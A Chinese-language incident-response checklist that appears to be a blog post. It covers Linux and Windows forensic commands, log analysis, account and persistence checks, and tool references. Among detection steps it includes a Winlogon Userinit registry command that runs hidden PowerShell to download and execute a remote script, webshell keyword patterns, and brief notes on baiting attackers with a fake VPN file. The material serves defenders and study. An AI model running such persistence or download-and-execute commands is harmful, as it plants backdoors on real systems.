最近做了一些应急响应,在响应的时候也翻查了不少资料,发现大部分都是按照攻击来分类进行响应工作;寻摸着能不能有个一条龙的线路去进行应急响应(毕竟新手,倍感压力),于是粗略的整理了下;期间翻看了很多文章,把我认为可能用到的东西引导到了总结之中,所以本文仅为总结,非全部原创,难免谬误之处,请大家斧正,求大佬们手口留情。
关于事件的发现,通常来源于:
扫描IP 、威胁阻断、 日志审计、 病毒木马、 入侵事件、 异常流量、 暴力破解等
如CNNVD/各SRC/HW裁判组等通报信息
攻击行为、 攻击者画像
恶意样本
恶意URL
恶意邮件
针对恶意邮件,可查看邮件原文,查看发件人的IP地址;X-Originating-IP即为发件人ip地址。
如QQ/微信群或其他如暗网信息等
了解资产部署时间,可在后期推断日志信息,给予有利帮助
应用架构
服务、功能(上传功能?SQL语句维护功能?)
是否存在第三接口
是否存在第三方平台
开放的访问端口,部署的哪些服务
业务内容是否敏感,核心业务还是边缘业务,业务使用对象是内部还是外部,是否涉及敏感数据等
仅内网访问还是对外开放,确认应急范围
通过历史漏洞情况掌握系统可靠性,并确认漏洞是否修复
确认资产归属部门,方便情况了解及沟通
是否虚机或云机,可先镜像或快照备份,保留涉事资产镜像
对应用程序整体备份,避免涉事环境破坏
对数据库整体备份,避免涉事环境破坏
备份可疑文件可为溯源等行为做信息支撑
有下线条件的及时进行业务下线,及时止损;
及时对业务资产进行网络阻断隔离;
对发现的恶意进程等及时阻断
为避免遗漏,通过以下几个方面进行研判:
通过执行
1history
或
1cat /root/.bash_history
命令,获取历史操作记录,检查是否有执行可疑命令
通过命令查看网络连接及端口连接:
1netstat -anltp
常用命令:
1ps -ef2ps -aux
查看进程对应pid:
1pgrep -l httpd
查看pid对应进程:
1ls -ll /proc/{PID}
或
1file /proc/{PID}/exe
进程分析:
1lsof -p {PID}
查看进程启动时间:
1ps -p 7224 -o lstart
查看有没有可疑进程
1ps -aef | grep inetd (注:inetd 程序是一个Linux守护进程)
检测隐藏进程:
1ps -ef | awk '{print}' | sort -n |uniq >1
1.查看文件时注意查看隐藏文件,如“..”开头的文件夹
1ls -lat
2.查看24小时内修改的文件
1find ./ -mtime 0 -name "*.jsp"
3.查看24小时内创建的文件
1find ./ -ctime 0 -name "*.jsp"
4.查看文件详情:
stat
命令
1stat
确认系统文件是否被替换,如find
、wget
等,查看文件信息
5.遇到无法查看的文件
lsattr
文件名/文件夹
1chattr -i
6.webshell文件查找
1Darkblade:goaction=login2JspSpy:o=login3PhpSpy:action=phpinfo4Regeorg:cmd=connect5Other:cmd=
1PHP:eval(、system(、assert(2JSP:getRunTime(、 FileOutputStream(3ASP:eval(、execute(、 ExecuteGlobal(
7.后门文件
webshell
应用程序
如python
打包文件:
1python3 pyinstxtractor.py *.exe
1.应用系统日志
(1)中间件日志
1tomcat2nginx3apache4其他……
(2)应用系统日志
2.安全设备日志
3.操作系统日志
主要目录/var/log/
:
1/var/log/cron 计划任务2/var/log/maillog 邮箱3/var/log/message 系统重要日志4/var/log/btmp 错误登录日志 命令:`lastb`5/var/log/wtmp 登录、注销等日志 命令:`last`6/var/log/utmp 当前已登录用户日志 命令: `who`、`w`、`users`7/var/log/lastlog 所有用户最后一次登录时间 命令:`lastlog`
主要内存马等,检测:
1sc javax.servlet.Servlet
1.框架结构
2.网络访问控制(策略)
3.通信交互(第三方通信等)
1.历史渗透报告
2.漏扫结果
3.是否通用程序存在CVE
确认当前资产所关联的其他资产信息,包括:
1.web前端
2.web后台
3.负载
4.中间件
5.数据库
6.其他
1.IP归属
2.开放端口,对应服务 (反向渗透溯源)
3.在线态势感知结果
4.恶意域名解析情况:域名、注册邮箱、注册电话等
1.帐号:
(1)异常账户
(2)特权账号
UID为0 :
1awk -F: '$3==0{print $1}' /etc/passwd
(3)可远程登录的账号
1awk '/$1|$6/{print $1}' /etc/shadow
(4)其他sudo权限的账号
1more /etc/sudoers | grep -v "^#|^$" | grep "ALL=(ALL)"
(5)查看登陆多久、多少用户,负载
1uptime
2.计划任务
查看定时任务
1crontab -l
关注目录:
1/var/spool/cron/* 2/etc/crontab3/etc/cron.d/*4/etc/cron.daily/* 5/etc/cron.hourly/* 6/etc/cron.monthly/*7/etc/cron.weekly/8/etc/anacrontab9/var/spool/anacron/*
检查系统各个用户下是否存在计划任务
1cat /etc/passwd | cut -f 1 -d : |xargs -I {} crontab -l -u {}
3.登录日志
1)登录成功的IP
1grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more
2)爆破用户名字典
1grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1n";}'|uniq -c|sort -nr
登录成功的日期、用户名、IP
1grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'
4.启动项
目录/etc/profile.d/
下的shell脚本
1ls -alt /etc/profile.d/*.sh
启动脚本的链接文件
根据链接文件的名字来判断启动状态K开头表示不启动服务,S打头表示启动服务
1ls -alt /etc/rc.d/rc{*}.d
服务的启动脚本
1ls -alt /etc/init.d/*
启动项目检查
1chkconfig --list
5.服务
6.环境变量
1env
查看当前登录账户
1query user
注销用户id
1logoff {ID}
查看用户
1net user
查看用户登录情况
1net user username
检查Guest账号是否被启动
打开本地用户组
1lusrmgr.msc
注册表查看账户,确认系统是否存在隐藏账户
1HKEY_LOCAL_MACHINESAMSAMDomainsUsers\ regedit
检查影子账号,如:admin$
windows 日志分析:
参考:http://cn-sec.com/archives/1012483.html
msinfo32命令
1msinfo32
获取进程md5
1get-process | where path -ne $null | %{Get-FileHash $_.path -Algorithm md5}
查看进程详情
1wmic process get CreationDate,name,processid,commandline,ExecutablePath /value
pid
进程对应服务
1tasklist /FI “pid eq {pid}” /svc
其他:Process Explorer
查看:
1netstat -ano
已经成功建立的连接
1netstat -ano | findstr "ESTABLISHED"
1msconfig2wmic startup
注册表中启动项:
1HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun2HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunonce
注册表镜像劫持
1HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsNTCurrentVersionImage File Execution Options
at
命令
schtasks
命令
1schtasks | more2schtasks /query /fo LIST3schtasks /query /v /tn "\Microsoft\windows\Bluetooths" /fo list
计划任务清单:
1C:\Windows\System32\Tasks
命令:
1services.msc
恶意服务检测
1Get-WmiObject win32_service |?{ $_.name -eq 'svchost.exe' -and $_.PathName -notlike '*C:\WINDOWS\System32\svchost.exe*' -and $_.PathName -notlike '*c:\Windows\SysWOW64\svchost.exe*'} | select Name, DisplayName, State, PathName2Get-WmiObject win32_service | ?{$_.PathName -like '*svchost.exe*'} | select Name, DisplayName, @{Name="Path"; Expression={$_.PathName.split('3')[0]}} | Format-List
查看服务详情
1wmic service get name,pathname,processid,startname,status,state /value
最近打开的文件
%UserProfile%Recent
通过hash操作文件:
(1)获取文件MD5的hash
1certutil -hashfile c:\windows\system32\cmd.exe MD5 |findstr /r "^[a-fA-F0-9]*$"
(2)查找相同hash值文件
1[array]$md5=Get-FileHash .\*.exe -Algorithm md52$md5 | Where -Property Hash -in -Value "59B18D6146A2AA066F661599C496090D","6FF97A7DABF09EBB07C157F286DC81AD"
(3)删除相同hash值文件
1[array]$md5=Get-FileHash .\*.exe -Algorithm md52$md5 | Where -Property Hash -in -Value "59B18D6146A2AA066F661599C496090D","6FF97A7DABF09EBB07C157F286DC81AD"3| Remove-Item
查找某一日期创建的文件
1forfiles /m *.exe /d +2019/2/12 /s /p c:\ /c "cmd /c echo @path @fdate @ftime" 2>nul
查看粘滞键exe :sethc.exe
文件的创建、修改时间是否正常
查看隐藏文件
1attrib -s -a -h -r {文件名}
查看放大镜exe :Magnify.exe
文件的创建、修改时间是否正常
wmi无文件后门检测
1Get-WmiObject -Namespace root\default -list | Where-Object {$_.name -Match "^[a-z]"}2Get-WmiObject -Namespace root\subscription -class commandlineeventconsumer3Get-WmiObject -Namespace root\subscription -class __eventfilter4Get-WmiObject -Namespace root\subscription -class __FilterToConsumerBinding
无文件后门实现
11、Set-ItemProperty "HKLM:SOFTWAREMicrosoftWINDOWS NTCurrentVersionWinlogon" -name Userinit -value "C:Windowssystem32userinit.exe,***************"22、Set-ItemProperty "HKLM:SOFTWAREMicrosoftWINDOWS NTCurrentVersionWinlogon" -name Userinit -value "C:Windowssystem32userinit.exe, powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.131/a'))""
SDDL隐藏维持
补丁查看:
1wmic qfe get hotfixid
安装软件列表
1wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_Product get name /FORMAT:table
快捷方式列表
1wmic PATH Win32_ShortcutFile get name
DNS缓存记录
1ipconfig /displaydns
参考查找出的恶意文件进行清理,同时记得进行备份,以备查
IP
域名
shell密码/命名
昵称ID
手机号
邮箱
微信
其他……
总结攻击事件链、路径、工具、IP、攻击手法(钓鱼、社工、web渗透、水坑、鱼叉)
如何利用多个漏洞进行攻击渗透等
是否横向移动
影响资产数量
影响数据范围(是否有数据丢失)
日志备份
恶意文件备份
恶意文件清理
非法进程终止
非法连接断开
非法IP阻断(安全设备监控)
非法创建的账号清理
禁用或删除多余及可疑的账号
其他……
1.针对性建议
2.通用建议
程序、插件、模版等版本升级、补丁修复
实时监控、加强监测
参看历史漏洞报告,及时修复安全风险
服务器及应用程序权限最小化管理
上线下删除测试账号
远程连接3389/22执行IP白名单
加强口令管理
细分口令安全、弱口令修复
3.钓鱼邮件防范措施:
1). 组织员工进行钓鱼邮件防范培训,提高全员网络空间安全防范意识;
2). 在公司内部不定期进行钓鱼邮件安全测试,及时发现问题并采取补救措施;
3). 使用高安全性邮件系统,并及时配置安全过滤机制;
4). 敦促员工安装杀毒软件,并及时更新病毒库.
1). 认真学习CNCERT发布的《钓鱼邮件攻击防范指南》,做到“五要”“五不要”,增强安全防范意识;
2). 不要轻信发件人地址显示的“显示名”,遇到索要敏感信息的邮件需要及时通过电话核实;
3). 切忌轻易打开邮件中文中的短链接,谨防上当受骗,造成财物损失;
4). 安装杀毒软件,邮件附件运行前先进行病毒查杀.
VenusEye
https://lesuo.venuseye.com.cn/
Avast
https://www.avast.com/zh-cn/ransomware-decryption-tools
Github tools
https://github.com/jiansiting/Decryption-Tools
linux基线检查脚本GScan
https://github.com/grayddq/GScan
Linux病毒扫描工具-ClamAV
http://www.clamav.net/download.html
security_check(linux)
https://github.com/ppabc/security\_check
linux-2
https://github.com/T0xst/linux
windows下msinfo32.exe
360星图WEB日志分析工具
取证工具
共享访问监控https://www.nirsoft.net/utils/networkopenedfiles-x64.zip
内存取证DumpIt
moonsols http://www.moonsols.com/
Volatility
Ghost 镜像浏览
https://www.symantec.com/connect/blogs/ghost-explorer
windows 日志分析工具LogParser
下载:https://www.microsoft.com/en-us/download/confirmation.aspx?id=24659
使用:查询用户登录情况
1LogParser.exe -i:EVT "SELECT TimeGenerated,EXTRACT_TOKEN(Strings,5,'|') AS USERNAME,EXTRACT_TOKEN(Strings,5,'|') AS SERVICE_NAME,EXTRACT_TOKEN(Strings,5,'|') AS Client_IP FROM 'C:Userswp_bj_windowsDesktop安全.evtx' WHERE EventID=4624"2
查询登录成功的事件
1LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM 'C:Userswp_bj_windowsDesktop安全.evtx' where EventID=4624"2
pchunter、火绒剑、auturuns 、Process Explorer、promon、D盾
Windows全日志提取工具FullEventLogView:http://www.nirsoft.net/utils/fulleventlogview-x64.zip
mysql :获取微信id、浏览器的sqlite文件
伪装vpn文件,放置网站进行下载
jsonp
…
GB/T 24363-2009 《信息安全应急响应计划规范》
GB/Z 20985-2007 《信息安全事件管理指南》
GB/Z 20986-2007 《信息安全事件分类分级指南》
[1] http://cn-sec.com/archives/1039136.html
[2] http://cn-sec.com/archives/498923.html